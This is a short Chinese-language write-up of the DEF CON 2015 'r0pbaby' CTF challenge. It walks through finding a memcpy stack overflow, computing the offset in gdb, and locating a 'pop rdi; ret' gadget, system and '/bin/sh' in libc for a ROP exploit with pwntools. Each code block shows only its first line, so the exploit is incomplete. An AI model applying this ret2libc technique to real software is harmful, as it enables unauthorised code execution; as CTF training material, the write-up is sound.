0x00 前言
练练手~
0x01 程序分析
1 | mask@mask-virtual-machine:~/CTF/Defcon2015_R0pbaby$ ./r0pbaby |
程序大致了解,拉到IDA里查看:
1 | __int64 __fastcall main(__int64 a1, char **a2, char **a3) |
可以看到有一处
1 | memcpy(&savedregs, nptr, v6); |
存在溢出漏洞,gdb开始调试
1 | mask@mask-virtual-machine:~/CTF/Defcon2015_R0pbaby$ gdb ./r0pbaby |
先随机生成50个字符串,然后运行时输入
1 | gdb-peda$ r |
然后算一下偏移:
1 | gdb-peda$ x/x $rsp |
那么偏移为8
下面来找gadgetspop|ret
1 | mask@mask-virtual-machine:~/CTF/Defcon2015_R0pbaby$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret"|grep rdi |
然后system的地址程序的第二个功能以及提供了,然后是找"/bin/sh"
字符串
1 | mask@mask-virtual-machine:~/libc-database$ ./find system 640 |
接下来编写exp:
1 | from pwn import * |
运行:
1 | mask@mask-virtual-machine:~/CTF/Defcon2015_R0pbaby$ vim exp.py |